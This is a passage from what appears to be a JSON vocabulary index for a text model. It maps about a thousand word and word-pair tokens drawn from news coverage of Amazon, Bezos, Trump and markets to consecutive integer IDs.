\"ami coo\": 59762,\n  \"aj styles\": 59763,\n  \"powered industry\": 59764,\n  \"ahhhh\": 59765,\n  \"men stars\": 59766,\n  \"calvin coolidge\": 59767,\n  \"reaching 176\": 59768,\n  \"biggs joining\": 59769,\n  \"herschel lowe\": 59770,\n  \"chris coons\": 59771,\n  \"securing\": 59772,\n  \"shale explorer\": 59773,\n  \"analytica data\": 59774,\n  \"conspiracy theorists\": 59775,\n  \"right pair\": 59776,\n  \"corporate incentives\": 59777,\n  \"just outside\": 59778,\n  \"negotiate prices\": 59779,\n  \"shen highlighted\": 59780,\n  \"globenewswire published\": 59781,\n  \"enforcement according\": 59782,\n  \"waldemir barreto\": 59783,\n  \"victims richard\": 59784,\n  \"data company\": 59785,\n  \"details duckworth\": 59786,\n  \"borders dems\": 59787,\n  \"investments amazon\": 59788,\n  \"real unemployment\": 59789,\n  \"ser reported\": 59790,\n  \"platforms year\": 59791,\n  \"portly\": 59792,\n  \"new senator\": 59793,\n  \"capture resources\": 59794,\n  \"179 378\": 59795,\n  \"critics thought\": 59796,\n  \"starstruck looking\": 59797,\n  \"helpers\": 59798,\n  \"niche market\": 59799,\n  \"theyll tell\": 59800,\n  \"world bit\": 59801,\n  \"appointment understand\": 59802,\n  \"463\": 59803,\n  \"bizarre coincidence\": 59804,\n  \"having fun\": 59805,\n  \"year rise\": 59806,\n  \"retailer couldn\": 59807,\n  \"successful foia\": 59808,\n  \"applause johnson\": 59809,\n  \"politician jimmy\": 59810,\n  \"owns 729\": 59811,\n  \"hearings\": 59812,\n  \"post fact\": 59813,\n  \"anthropomorphic\": 59814,\n  \"access\": 59815,\n  \"alansmurray alan\": 59816,\n  \"invested heavily\": 59817,\n  \"corsi source\": 59818,\n  \"revenue going\": 59819,\n  \"washington jim\": 59820,\n  \"partially offset\": 59821,\n  \"country told\": 59822,\n  \"retelling\": 59823,\n  \"ceo released\": 59824,\n  \"telling stahl\": 59825,\n  \"bls data\": 59826,\n  \"doesn fund\": 59827,\n  \"ceo josh\": 59828,\n  \"coney\": 59829,\n  \"blowing salary\": 59830,\n  \"delivery methods\": 59831,\n  \"klasell\": 59832,\n  \"technologies nyse\": 59833,\n  \"big payment\": 59834,\n  \"international shipping\": 59835,\n  \"alleged censoring\": 59836,\n  \"ap navarro\": 59837,\n  \"doesn help\": 59838,\n  \"1950s naples\": 59839,\n  \"means currently\": 59840,\n  \"enters parliament\": 59841,\n  \"willie horton\": 59842,\n  \"presidential exploratory\": 59843,\n  \"chloe\": 59844,\n  \"goff\": 59845,\n  \"says tech\": 59846,\n  \"kimmel\": 59847,\n  \"europe took\": 59848,\n  \"people parents\": 59849,\n  \"conformity control\": 59850,\n  \"18th\": 59851,\n  \"russia condemns\": 59852,\n  \"known hosts\": 59853,\n  \"cord cutters\": 59854,\n  \"advil\": 59855,\n  \"clinton carter\": 59856,\n  \"bumped\": 59857,\n  \"speech service\": 59858,\n  \"inside thedemocratic\": 59859,\n  \"curry favor\": 59860,\n  \"mogul\": 59861,\n  \"electronics gift\": 59862,\n  \"closes higher\": 59863,\n  \"mail screening\": 59864,\n  \"correction upping\": 59865,\n  \"elite company\": 59866,\n  \"pay little\": 59867,\n  \"oa a4ee\": 59868,\n  \"investors blame\": 59869,\n  \"technology research\": 59870,\n  \"liao new\": 59871,\n  \"unprecedented assault\": 59872,\n  \"people mean\": 59873,\n  \"heart failure\": 59874,\n  \"sucking machine\": 59875,\n  \"personally responded\": 59876,\n  \"kristi\": 59877,\n  \"including organized\": 59878,\n  \"time spent\": 59879,\n  \"kelly speaks\": 59880,\n  \"anjani trivedi\": 59881,\n  \"constructed entirely\": 59882,\n  \"despite broad\": 59883,\n  \"project fueling\": 59884,\n  \"boe failed\": 59885,\n  \"r4ee t5e\": 59886,\n  \"unsubtly named\": 59887,\n  \"big success\": 59888,\n  \"summit little\": 59889,\n  \"positive achievements\": 59890,\n  \"plays key\": 59891,\n  \"hyperlink\": 59892,\n  \"palisade capital\": 59893,\n  \"surmise lot\": 59894,\n  \"335 million\": 59895,\n  \"costly battle\": 59896,\n  \"soared pushing\": 59897,\n  \"hits\": 59898,\n  \"bezos 2013\": 59899,\n  \"birkenstock accused\": 59900,\n  \"pratt radar\": 59901,\n  \"seen record\": 59902,\n  \"story trump\": 59903,\n  \"recent fact\": 59904,\n  \"wildly unethical\": 59905,\n  \"ballot scandal\": 59906,\n  \"called banks\": 59907,\n  \"s8i\": 59908,\n  \"customers names\": 59909,\n  \"tech fascism\": 59910,\n  \"nicole brown\": 59911,\n  \"snow storm\": 59912,\n  \"840 shares\": 59913,\n  \"stocks rose\": 59914,\n  \"acquisitions streamlining\": 59915,\n  \"states missing\": 59916,\n  \"sources report\": 59917,\n  \"irrelevance\": 59918,\n  \"american tobacco\": 59919,\n  \"staged contest\": 59920,\n  \"study miami\": 59921,\n  \"key crossing\": 59922,\n  \"seconds texas\": 59923,\n  \"staver\": 59924,\n  \"walter\": 59925,\n  \"capital investment\": 59926,\n  \"ads targeting\": 59927,\n  \"hybrid drone\": 59928,\n  \"bein sexy\": 59929,\n  \"bodyguard american\": 59930,\n  \"old interview\": 59931,\n  \"returned\": 59932,\n  \"contend\": 59933,\n  \"glow\": 59934,\n  \"attack st\": 59935,\n  \"advanced robotics\": 59936,\n  \"nice economy\": 59937,\n  \"hit google\": 59938,\n  \"cuomo announce\": 59939,\n  \"platform backed\": 59940,\n  \"hard working\": 59941,\n  \"rgc\": 59942,\n  \"faced legitimate\": 59943,\n  \"political point\": 59944,\n  \"mischief reported\": 59945,\n  \"product strategy\": 59946,\n  \"valley qanon\": 59947,\n  \"mile osinski\": 59948,\n  \"months long\": 59949,\n  \"niantic\": 59950,\n  \"hoenig capitalist\": 59951,\n  \"action committee\": 59952,\n  \"select service\": 59953,\n  \"newman unhinged\": 59954,\n  \"conspirator making\": 59955,\n  \"boroughs\": 59956,\n  \"dictator kim\": 59957,\n  \"photos obtained\": 59958,\n  \"customized\": 59959,\n  \"proclaimed\": 59960,\n  \"lahren fox\": 59961,\n  \"retailers used\": 59962,\n  \"phlx phlx\": 59963,\n  \"polled\": 59964,\n  \"terms don\": 59965,\n  \"prolonged embarrassment\": 59966,\n  \"agency prices\": 59967,\n  \"increased 260\": 59968,\n  \"soper\": 59969,\n  \"barefoot contessa\": 59970,\n  \"man earlier\": 59971,\n  \"day plays\": 59972,\n  \"margins heard\": 59973,\n  \"1007 large\": 59974,\n  \"drew large\": 59975,\n  \"payment processors\": 59976,\n  \"just happens\": 59977,\n  \"billion budget\": 59978,\n  \"drew houston\": 59979,\n  \"becker gavin\": 59980,\n  \"guidance setting\": 59981,\n  \"loomed\": 59982,\n  \"transport partner\": 59983,\n  \"senate passed\": 59984,\n  \"extra fees\": 59985,\n  \"original concept\": 59986,\n  \"prowrestling net\": 59987,\n  \"hour beginning\": 59988,\n  \"recently microsoft\": 59989,\n  \"online retailers\": 59990,\n  \"republican insurgent\": 59991,\n  \"bolsonaro senator\": 59992,\n  \"sell amazon\": 59993,\n  \"offering incentives\": 59994,\n  \"investigative journalism\": 59995,\n  \"assist information\": 59996,\n  \"settlement leaves\": 59997,\n  \"stated vision\": 59998,\n  \"1992 supreme\": 59999,\n  \"law yesterday\": 60000,\n  \"funders\": 60001,\n  \"exploration plans\": 60002,\n  \"synapse perkins\": 60003,\n  \"deporting illegal\": 60004,\n  \"wayfair stock\": 60005,\n  \"billion software\": 60006,\n  \"county fla\": 60007,\n  \"politics justice\": 60008,\n  \"female broadcast\": 60009,\n  \"bull mountain\": 60010,\n  \"continuously bashed\": 60011,\n  \"doj follow\": 60012,\n  \"neil lennon\": 60013,\n  \"aside concerns\": 60014,\n  \"theguardian\": 60015,\n  \"metrocards\": 60016,\n  \"pecking order\": 60017,\n  \"reducer pills\": 60018,\n  \"atlanta georgia\": 60019,\n  \"popular newspaper\": 60020,\n  \"1331804068\": 60021,\n  \"mckelvey\": 60022,\n  \"endowed\": 60023,\n  \"pop businesses\": 60024,\n  \"paying ecclestone\": 60025,\n  \"anticipating\": 60026,\n  \"added markets\": 60027,\n  \"1962092244\": 60028,\n  \"hyped new\": 60029,\n  \"google negative\": 60030,\n  \"sales force\": 60031,\n  \"heterosexual women\": 60032,\n  \"action documents\": 60033,\n  \"amazon assigned\": 60034,\n  \"post considered\": 60035,\n  \"griffeth secretary\": 60036,\n  \"slams stupid\": 60037,\n  \"trump ordering\": 60038,\n  \"makings\": 60039,\n  \"figurine\": 60040,\n  \"customers verification\": 60041,\n  \"heiskell\": 60042,\n  \"foreign cash\": 60043,\n  \"schwartzman\": 60044,\n  \"guide delivery\": 60045,\n  \"testing site\": 60046,\n  \"think congressman\": 60047,\n  \"veterans interested\": 60048,\n  \"mum death\": 60049,\n  \"rights politics\": 60050,\n  \"times nonfiction\": 60051,\n  \"license threats\": 60052,\n  \"circle parents\": 60053,\n  \"begin investigating\": 60054,\n  \"charlie rose\": 60055,\n  \"planning investigations\": 60056,\n  \"becker claim\": 60057,\n  \"downgrades norfolk\": 60058,\n  \"house shteyngart\": 60059,\n  \"aegis capital\": 60060,\n  \"watch tv\": 60061,\n  \"seemingly stellar\": 60062,\n  \"refn\": 60063,\n  \"cheddar amazon\": 60064,\n  \"say congressman\": 60065,\n  \"public empowering\": 60066,\n  \"mccain website\": 60067,\n  \"nice deals\": 60068,\n  \"thomas law\": 60069,\n  \"iceberg threat\": 60070,\n  \"sourcebelk\": 60071,\n  \"justification states\": 60072,\n  \"employees added\": 60073,\n  \"namesake fashion\": 60074,\n  \"mandated\": 60075,\n  \"region related\": 60076,\n  \"frej\": 60077,\n  \"bone\": 60078,\n  \"marketing materials\": 60079,\n  \"stuff right\": 60080,\n  \"communities jared\": 60081,\n  \"pressures\": 60082,\n  \"internalized\": 60083,\n  \"thinking bezos\": 60084,\n  \"gossip involved\": 60085,\n  \"dan question\": 60086,\n  \"israeli mossad\": 60087,\n  \"respondents called\": 60088,\n  \"sessions appears\": 60089,\n  \"politics trade\": 60090,\n  \"psycho\": 60091,\n  \"reporter mike\": 60092,\n  \"largest data\": 60093,\n  \"revoking past\": 60094,\n  \"delivery profits\": 60095,\n  \"sen kevin\": 60096,\n  \"mcdougall affair\": 60097,\n  \"accountability recently\": 60098,\n  \"learned valuable\": 60099,\n  \"outside stratford\": 60100,\n  \"company corporate\": 60101,\n  \"embassy welcome\": 60102,\n  \"williamson beverly\": 60103,\n  \"1552\": 60104,\n  \"home gadgets\": 60105,\n  \"jeffrey shares\": 60106,\n  \"montpelier state\": 60107,\n  \"toronto mayor\": 60108,\n  \"truck belching\": 60109,\n  \"trump frustrated\": 60110,\n  \"stands bezos\": 60111,\n  \"wealthiest women\": 60112,\n  \"states catching\": 60113,\n  \"travel especially\": 60114,\n  \"forming miscellaneous\": 60115,\n  \"election countdown\": 60116,\n  \"deadline delivering\": 60117,\n  \"nonprofit humanitarian\": 60118,\n  \"documents bezos\": 60119,\n  \"recently rejected\": 60120,\n  \"literally\": 60121,\n  \"markets continue\": 60122,\n  \"spending trumping\": 60123,\n  \"paper version\": 60124,\n  \"power grabs\": 60125,\n  \"tabatabai sean\": 60126,\n  \"netflix velvet\": 60127,\n  \"usually criticized\": 60128,\n  \"terror scare\": 60129,\n  \"unprecedented success\": 60130,\n  \"pyramid shown\": 60131,\n  \"1014146196342898688\": 60132,\n  \"buy sweater\": 60133,\n  \"bulk pricing\": 60134,\n  \"drew equal\": 60135,\n  \"global mobile\": 60136,\n  \"institute verify\": 60137,\n  \"service plus\": 60138,\n  \"amazon confronts\": 60139,\n  \"vendors exceeded\": 60140,\n  \"update dprk\": 60141,\n  \"sparking\": 60142,\n  \"prime branded\": 60143,\n  \"t8 l8\": 60144,\n  \"corp 8217\": 60145,\n  \"similar fate\": 60146,\n  \"jacinda\": 60147,\n  \"seller scams\": 60148,\n  \"severe weather\": 60149,\n  \"previously argued\": 60150,\n  \"images gathered\": 60151,\n  \"actually senior\": 60152,\n  \"undergone\": 60153,\n  \"young turks\": 60154,\n  \"times source\": 60155,\n  \"kenneth rosen\": 60156,\n  \"better opening\": 60157,\n  \"switch echo\": 60158,\n  \"unamazonian pace\": 60159,\n  \"district attorney\": 60160,\n  \"oxford\": 60161,\n  \"spell using\": 60162,\n  \"disputatious bunch\": 60163,\n  \"founded\": 60164,\n  \"research analysis\": 60165,\n  \"assists law\": 60166,\n  \"foot jail\": 60167,\n  \"existing model\": 60168,\n  \"inc_homepage_headline\": 60169,\n  \"newsletter click\": 60170,\n  \"restarts\": 60171,\n  \"putin bristles\": 60172,\n  \"mark henle\": 60173,\n  \"nokia nyse\": 60174,\n  \"senate puts\": 60175,\n  \"english department\": 60176,\n  \"price assessment\": 60177,\n  \"telecom giants\": 60178,\n  \"hamilton star\": 60179,\n  \"mechanical license\": 60180,\n  \"totalshtrump\": 60181,\n  \"open pro\": 60182,\n  \"banker\": 60183,\n  \"commerce giant\": 60184,\n  \"bezos faced\": 60185,\n  \"year falsely\": 60186,\n  \"frequently maligns\": 60187,\n  \"center located\": 60188,\n  \"abruptly canned\": 60189,\n  \"remained near\": 60190,\n  \"johnsons\": 60191,\n  \"feuding\": 60192,\n  \"face congress\": 60193,\n  \"support accurate\": 60194,\n  \"netflix cary\": 60195,\n  \"taking bathroom\": 60196,\n  \"documents malinowski\": 60197,\n  \"proposal letter\": 60198,\n  \"apparent chagrin\": 60199,\n  \"guggenheim fellow\": 60200,\n  \"significantly osinski\": 60201,\n  \"democratic head\": 60202,\n  \"boost 2018\": 60203,\n  \"freelance\": 60204,\n  \"kumar ceo\": 60205,\n  \"\\u014261 7million\": 60206,\n  \"concrete step\": 60207,\n  \"make amd\": 60208,\n  \"dwight\": 60209,\n  \"martin episode\": 60210,\n  \"defended consumer\": 60211,\n  \"model including\": 60212,\n  \"billy bob\": 60213,\n  \"virginia walk\": 60214,\n  \"step google\": 60215,\n  \"swamp rat\": 60216,\n  \"flipping red\": 60217,\n  \"guided coverup\": 60218,\n  \"don george\": 60219,\n  \"rizzi jeff\": 60220,\n  \"linkedin seeking\": 60221,\n  \"remove gender\": 60222,\n  \"reassigned denver\": 60223,\n  \"ratification\": 60224,\n  \"foxbots\": 60225,\n  \"utm_source twcnnp\": 60226,\n  \"publications\": 60227,\n  \"clinton florida\": 60228,\n  \"brexit india\": 60229,\n  \"relations think\": 60230,\n  \"peek inside\": 60231,\n  \"peter morici\": 60232,\n  \"nicholas thompson\": 60233,\n  \"author franz\": 60234,\n  \"major silicon\": 60235,\n  \"clear enron\": 60236,\n  \"sewing\": 60237,\n  \"immediately posting\": 60238,\n  \"police raid\": 60239,\n  \"delivery executed\": 60240,\n  \"messages reportedly\": 60241,\n  \"reid added\": 60242,\n  \"meaning fake\": 60243,\n  \"david dennis\": 60244,\n  \"competition online\": 60245,\n  \"measure entitled\": 60246,\n  \"twitter appears\": 60247,\n  \"media sources\": 60248,\n  \"183 185\": 60249,\n  \"passy shoppers\": 60250,\n  \"pricing frankly\": 60251,\n  \"hannukah dreidel\": 60252,\n  \"deeply invested\": 60253,\n  \"protested\": 60254,\n  \"matt agorist\": 60255,\n  \"cnet noted\": 60256,\n  \"skipping bureaucratic\": 60257,\n  \"federal regulators\": 60258,\n  \"trump dislikes\": 60259,\n  \"bank\": 60260,\n  \"costco\": 60261,\n  \"add workers\": 60262,\n  \"modest\": 60263,\n  \"committee funded\": 60264,\n  \"finding deals\": 60265,\n  \"leaner\": 60266,\n  \"government policy\": 60267,\n  \"hired jay\": 60268,\n  \"project developer\": 60269,\n  \"places strong\": 60270,\n  \"rockets\": 60271,\n  \"build data\": 60272,\n  \"condemned trump\": 60273,\n  \"remove homeland\": 60274,\n  \"development process\": 60275,\n  \"diminished threat\": 60276,\n  \"offered sanders\": 60277,\n  \"unlocking skill\": 60278,\n  \"stake 102\": 60279,\n  \"court headlineposttext\": 60280,\n  \"glitches yes\": 60281,\n  \"week house\": 60282,\n  \"appliance companies\": 60283,\n  \"movie 2018\": 60284,\n  \"bear\": 60285,\n  \"mightily impressed\": 60286,\n  \"obesity\": 60287,\n  \"europe protesting\": 60288,\n  \"beck\": 60289,\n  \"pad amazon\": 60290,\n  \"offensive bacamontes\": 60291,\n  \"beach voting\": 60292,\n  \"100 things\": 60293,\n  \"hubbard novella\": 60294,\n  \"natl bankshares\": 60295,\n  \"2020 candidate\": 60296,\n  \"program ozs\": 60297,\n  \"scotus ruling\": 60298,\n  \"clicking\": 60299,\n  \"hell kitchen\": 60300,\n  \"blaming localand\": 60301,\n  \"newer cast\": 60302,\n  \"special guests\": 60303,\n  \"ceremony photos\": 60304,\n  \"mean breaking\": 60305,\n  \"cto\": 60306,\n  \"waterproof moisture\": 60307,\n  \"amazon cave\": 60308,\n  \"important role\": 60309,\n  \"cardi\": 60310,\n  \"began buying\": 60311,\n  \"soars amazon\": 60312,\n  \"democrats don\": 60313,\n  \"st marys\": 60314,\n  \"huge variety\": 60315,\n  \"sacrifice chapter\": 60316,\n  \"familiar targets\": 60317,\n  \"famotidine acid\": 60318,\n  \"vantage\": 60319,\n  \"smug\": 60320,\n  \"register\": 60321,\n  \"crusade\": 60322,\n  \"flak\": 60323,\n  \"face detection\": 60324,\n  \"media requests\": 60325,\n  \"wedge issue\": 60326,\n  \"beach read\": 60327,\n  \"engaging local\": 60328,\n  \"shopware walmart\": 60329,\n  \"inc_copyeditedflag false\": 60330,\n  \"antitrust doctrine\": 60331,\n  \"2018 sanders\": 60332,\n  \"alienation\": 60333,\n  \"temperature work\": 60334,\n  \"broad contract\": 60335,\n  \"dispiriting follow\": 60336,\n  \"forge\": 60337,\n  \"business imperatives\": 60338,\n  \"cnn evan\": 60339,\n  \"sanders introducing\": 60340,\n  \"920 134\": 60341,\n  \"coffee maker\": 60342,\n  \"traffic today\": 60343,\n  \"500 following\": 60344,\n  \"paulmanafort protest\": 60345,\n  \"people attacking\": 60346,\n  \"wittenstein\": 60347,\n  \"dias habla\": 60348,\n  \"akron mall\": 60349,\n  \"happy avenatti\": 60350,\n  \"oil accounted\": 60351,\n  \"announced plans\": 60352,\n  \"rendition\": 60353,\n  \"independence dayand\": 60354,\n  \"greenwich murder\": 60355,\n  \"pretty obviously\": 60356,\n  \"blackmailed prefer\": 60357,\n  \"sanaa lathan\": 60358,\n  \"katera\": 60359,\n  \"saigon\": 60360,\n  \"upping\": 60361,\n  \"people wonder\": 60362,\n  \"fright\": 60363,\n  \"user identifying\": 60364,\n  \"10k\": 60365,\n  \"man jeff\": 60366,\n  \"amid reports\": 60367,\n  \"explanatory\": 60368,\n  \"dates\": 60369,\n  \"town geekwire\": 60370,\n  \"walmart recently\": 60371,\n  \"google asked\": 60372,\n  \"possessed\": 60373,\n  \"injustice johnson\": 60374,\n  \"mcintosh\": 60375,\n  \"corollary using\": 60376,\n  \"tv photo\": 60377,\n  \"building health\": 60378,\n  \"stop selling\": 60379,\n  \"loss making\": 60380,\n  \"low fixed\": 60381,\n  \"overseas ballots\": 60382,\n  \"continuous control\": 60383,\n  \"morgan mac\": 60384,\n  \"romantically volatile\": 60385,\n  \"natural prostrate\": 60386,\n  \"percentages\": 60387,\n  \"street greeting\": 60388,\n  \"woe senate\": 60389,\n  \"agencys\": 60390,\n  \"navarro wrote\": 60391,\n  \"infers\": 60392,\n  \"china employees\": 60393,\n  \"missed estimates\": 60394,\n  \"manufacturing states\": 60395,\n  \"aig freeing\": 60396,\n  \"urgency house\": 60397,\n  \"korean peninsula\": 60398,\n  \"soon compounding\": 60399,\n  \"amiira\": 60400,\n  \"adjusting prices\": 60401,\n  \"000 281\": 60402,\n  \"criminal violation\": 60403,\n  \"trump life\": 60404,\n  \"content preacher\": 60405,\n  \"amazon ny\": 60406,\n  \"bit longer\": 60407,\n  \"emergency actually\": 60408,\n  \"helped clients\": 60409,\n  \"dalvin brown\": 60410,\n  \"favorite 90s\": 60411,\n  \"extorting\": 60412,\n  \"apparent fixation\": 60413,\n  \"buffett berkshire\": 60414,\n  \"greater sway\": 60415,\n  \"dianaee\": 60416,\n  \"high raw\": 60417,\n  \"squirrel\": 60418,\n  \"marine recruits\": 60419,\n  \"role attempt\": 60420,\n  \"leather trim\": 60421,\n  \"combat readiness\": 60422,\n  \"force including\": 60423,\n  \"new dimension\": 60424,\n  \"accuses tabloid\": 60425,\n  \"publicly target\": 60426,\n  \"lead roles\": 60427,\n  \"d1a tostring\": 60428,\n  \"cloud providers\": 60429,\n  \"demon\": 60430,\n  \"zuckerberg dropped\": 60431,\n  \"requests military\": 60432,\n  \"normal stuff\": 60433,\n  \"suggested sending\": 60434,\n  \"package service\": 60435,\n  \"infant death\": 60436,\n  \"company face\": 60437,\n  \"psych amazon\": 60438,\n  \"iraq shiite\": 60439,\n  \"couple joint\": 60440,\n  \"commonly\": 60441,\n  \"zach cummins\": 60442,\n  \"backstill\": 60443,\n  \"jerry\": 60444,\n  \"announced indictments\": 60445,\n  \"tiny share\": 60446,\n  \"final outcome\": 60447,\n  \"doj talked\": 60448,\n  \"australia national\": 60449,\n  \"entire business\": 60450,\n  \"amazon investing\": 60451,\n  \"personal beef\": 60452,\n  \"apple tightens\": 60453,\n  \"observe moment\": 60454,\n  \"relatives including\": 60455,\n  \"george thinks\": 60456,\n  \"dystopian tale\": 60457,\n  \"employee political\": 60458,\n  \"hurled\": 60459,\n  \"new statistics\": 60460,\n  \"gov george\": 60461,\n  \"makes tv\": 60462,\n  \"fed watchers\": 60463,\n  \"paints\": 60464,\n  \"terms ofan\": 60465,\n  \"recognizes\": 60466,\n  \"package mean\": 60467,\n  \"year mayor\": 60468,\n  \"assessed information\": 60469,\n  \"anthony managing\": 60470,\n  \"including alexandria\": 60471,\n  \"mc hotstar\": 60472,\n  \"recent brazilian\": 60473,\n  \"state local\": 60474,\n  \"swiftly\": 60475,\n  \"stellar reporting\": 60476,\n  \"midterms election\": 60477,\n  \"hoping michelle\": 60478,\n  \"del wrote\": 60479,\n  \"754\": 60480,\n  \"trump court\": 60481,\n  \"mimic phone\": 60482,\n  \"ami brands\": 60483,\n  \"evan hansen\": 60484,\n  \"mitsui\": 60485,\n  \"love bit\": 60486,\n  \"sherman palladino\": 60487,\n  \"person bezos\": 60488,\n  \"mas rica\": 60489,\n  \"xo5kxqqirk nws\": 60490,\n  \"clay\": 60491,\n  \"michael bloomberg\": 60492,\n  \"emergency funds\": 60493,\n  \"creating conditions\": 60494,\n  \"typing\": 60495,\n  \"profitable overview\": 60496,\n  \"fundstrat\": 60497,\n  \"tappan\": 60498,\n  \"talks chamber\": 60499,\n  \"dismissal\": 60500,\n  \"killer delayed\": 60501,\n  \"business investment\": 60502,\n  \"equally true\": 60503,\n  \"netflix crazy\": 60504,\n  \"america veterans\": 60505,\n  \"representative highlighting\": 60506,\n  \"rubenstein moved\": 60507,\n  \"photographs obtained\": 60508,\n  \"senators warren\": 60509,\n  \"formal comment\": 60510,\n  \"fling\": 60511,\n  \"american institutional\": 60512,\n  \"run susan\": 60513,\n  \"quinones\": 60514,\n  \"estate chris\": 60515,\n  \"visit ami\": 60516,\n  \"gainers\": 60517,\n  \"distributing free\": 60518,\n  \"man thing\": 60519,\n  \"correctly pricing\": 60520,\n  \"time magazine\": 60521,\n  \"termination amazon\": 60522,\n  \"homegamers\": 60523,\n  \"framework convention\": 60524,\n  \"paulson\": 60525,\n  \"crux\": 60526,\n  \"hour pardons\": 60527,\n  \"business particularly\": 60528,\n  \"kill deal\": 60529,\n  \"media rhetoric\": 60530,\n  \"techcalendar politicopro\": 60531,\n  \"yes gayle\": 60532,\n  \"break silence\": 60533,\n  \"cyber\": 60534,\n  \"ou\": 60535,\n  \"tsunami emoji\": 60536,\n  \"foto source\": 60537,\n  \"partners local\": 60538,\n  \"apco\": 60539,\n  \"dispelling\": 60540,\n  \"titled satanism\": 60541,\n  \"major tom\": 60542,\n  \"today twitter\": 60543,\n  \"migrants seeking\": 60544,\n  \"cardboard abuser\": 60545,\n  \"bigger raise\": 60546,\n  \"washingtonpost scam\": 60547,\n  \"written statement\": 60548,\n  \"singling kaminsky\": 60549,\n  \"facebook platforms\": 60550,\n  \"companies working\": 60551,\n  \"shares strs\": 60552,\n  \"euro structural\": 60553,\n  \"report concludes\": 60554,\n  \"fining america\": 60555,\n  \"potentially anti\": 60556,\n  \"trump favor\": 60557,\n  \"theory says\": 60558,\n  \"slate work\": 60559,\n  \"francisco google\": 60560,\n  \"number cruncher\": 60561,\n  \"amazon customers\": 60562,\n  \"pat garofolo\": 60563,\n  \"ridicule\": 60564,\n  \"possible amazon\": 60565,\n  \"bad apples\": 60566,\n  \"peace cross\": 60567,\n  \"rates paid\": 60568,\n  \"program government\": 60569,\n  \"washington alleging\": 60570,\n  \"headquarters food\": 60571,\n  \"weeks accusing\": 60572,\n  \"emily richmond\": 60573,\n  \"web newswire\": 60574,\n  \"future report\": 60575,\n  \"madeline celeste\": 60576,\n  \"acceptance speech\": 60577,\n  \"quick sampling\": 60578,\n  \"afghan\": 60579,\n  \"nordlinger\": 60580,\n  \"jeremy renner\": 60581,\n  \"defense fund\": 60582,\n  \"amazon causes\": 60583,\n  \"strong families\": 60584,\n  \"adam levy\": 60585,\n  \"better know\": 60586,\n  \"believe jeff\": 60587,\n  \"2015 merger\": 60588,\n  \"politics wall\": 60589,\n  \"proof ace\": 60590,\n  \"andre leon\": 60591,\n  \"existent problem\": 60592,\n  \"louisiana new\": 60593,\n  \"media cooperation\": 60594,\n  \"free access\": 60595,\n  \"host compiles\": 60596,\n  \"wunderman\": 60597,\n  \"postal retirees\": 60598,\n  \"amazing assortment\": 60599,\n  \"hardware thinks\": 60600,\n  \"paramour\": 60601,\n  \"virginia democrats\": 60602,\n  \"diarmaid\": 60603,\n  \"defending trump\": 60604,\n  \"instructed\": 60605,\n  \"charity organization\": 60606,\n  \"irritated juliette\": 60607,\n  \"attempted blackmail\": 60608,\n  \"traditional carriers\": 60609,\n  \"conservative income\": 60610,\n  \"ja rule\": 60611,\n  \"website glitches\": 60612,\n  \"fund campaign\": 60613,\n  \"interview presidency\": 60614,\n  \"office collaboration\": 60615,\n  \"pressure tell\": 60616,\n  \"democrats staff\": 60617,\n  \"totalitarianism tyranny\": 60618,\n  \"success stories\": 60619,\n  \"joined groundswell\": 60620,\n  \"weekly comics\": 60621,\n  \"russia using\": 60622,\n  \"environmental organizations\": 60623,\n  \"competitive shopping\": 60624,\n  \"tools mattresses\": 60625,\n  \"fight wouldn\": 60626,\n  \"competitive retail\": 60627,\n  \"dustup 2018\": 60628,\n  \"postmaster works\": 60629,\n  \"based 500\": 60630,\n  \"disturbing documentaries\": 60631,\n  \"exports promise\": 60632,\n  \"vegetarian viet\": 60633,\n  \"exactly low\": 60634,\n  \"automobile manufacturers\": 60635,\n  \"contracts mijente\": 60636,\n  \"showed exactly\": 60637,\n  \"asset overlapping\": 60638,\n  \"clayton act\": 60639,\n  \"maggie gyllenhaal\": 60640,\n  \"threatened china\": 60641,\n  \"causing\": 60642,\n  \"space startup\": 60643,\n  \"amazon launching\": 60644,\n  \"daniels tell\": 60645,\n  \"plagiarized\": 60646,\n  \"private projects\": 60647,\n  \"news package\": 60648,\n  \"including blackrock\": 60649,\n  \"need maga\": 60650,\n  \"rarely respected\": 60651,\n  \"boyfriends older\": 60652,\n  \"taylor dillard\": 60653,\n  \"amazon europe\": 60654,\n  \"faulkner revered\": 60655,\n  \"don trump\": 60656,\n  \"arizona hoover\": 60657,\n  \"report amzn\": 60658,\n  \"great columns\": 60659,\n  \"explicit content\": 60660,\n  \"wisdom applies\": 60661,\n  \"kickoff 2018\": 60662,\n  \"organize employees\": 60663,\n  \"morning focusing\": 60664,\n  \"new television\": 60665,\n  \"swastika\": 60666,\n  \"afternoon jacobs\": 60667,\n  \"networks\": 60668,\n  \"acton\": 60669,\n  \"lewd personal\": 60670,\n  \"media despite\": 60671,\n  \"neurologist\": 60672,\n  \"corrections exceed\": 60673,\n  \"college free\": 60674,\n  \"fearsome\": 60675,\n  \"gadgetmaker\": 60676,\n  \"videoplayer showflashslate\": 60677,\n  \"sprawling\": 60678,\n  \"nerve american\": 60679,\n  \"enjoys tax\": 60680,\n  \"magic\": 60681,\n  \"cults\": 60682,\n  \"symphonic\": 60683,\n  \"policy impacts\": 60684,\n  \"deforestation reporting\": 60685,\n  \"smart assistant\": 60686,\n  \"companies denials\": 60687,\n  \"story uk\": 60688,\n  \"dickerson isn\": 60689,\n  \"berated\": 60690,\n  \"trickle\": 60691,\n  \"partnership proposal\": 60692,\n  \"design implement\": 60693,\n  \"marketplaces struggle\": 60694,\n  \"wmhrylwn1i calitrumpgirl\": 60695,\n  \"thing add\": 60696,\n  \"does hope\": 60697,\n  \"successive\": 60698,\n  \"slaughter cause\": 60699,\n  \"results analysts\": 60700,\n  \"tearful krauthammer\": 60701,\n  \"pharmacy\": 60702,\n  \"hack jeff\": 60703,\n  \"google new\": 60704,\n  \"managers saying\": 60705,\n  \"firm rsa\": 60706,\n  \"floridahealth\": 60707,\n  \"causeda lot\": 60708,\n  \"nyc responded\": 60709,\n  \"host doj\": 60710,\n  \"sell merchandise\": 60711,\n  \"disappoint investors\": 60712,\n  \"presidents barack\": 60713,\n  \"flipping silicon\": 60714,\n  \"district brian\": 60715,\n  \"bezos asking\": 60716,\n  \"financial dealings\": 60717,\n  \"bonus prizes\": 60718,\n  \"money doing\": 60719,\n  \"recently tweeted\": 60720,\n  \"transportation energy\": 60721,\n  \"chrysler quality\": 60722,\n  \"additional equipment\": 60723,\n  \"shipping minimum\": 60724,\n  \"internal transfers\": 60725,\n  \"defangs\": 60726,\n  \"tom clancy\": 60727,\n  \"read photo\": 60728,\n  \"maker closed\": 60729,\n  \"high maneuvers\": 60730,\n  \"reasons people\": 60731,\n  \"queens hiring\": 60732,\n  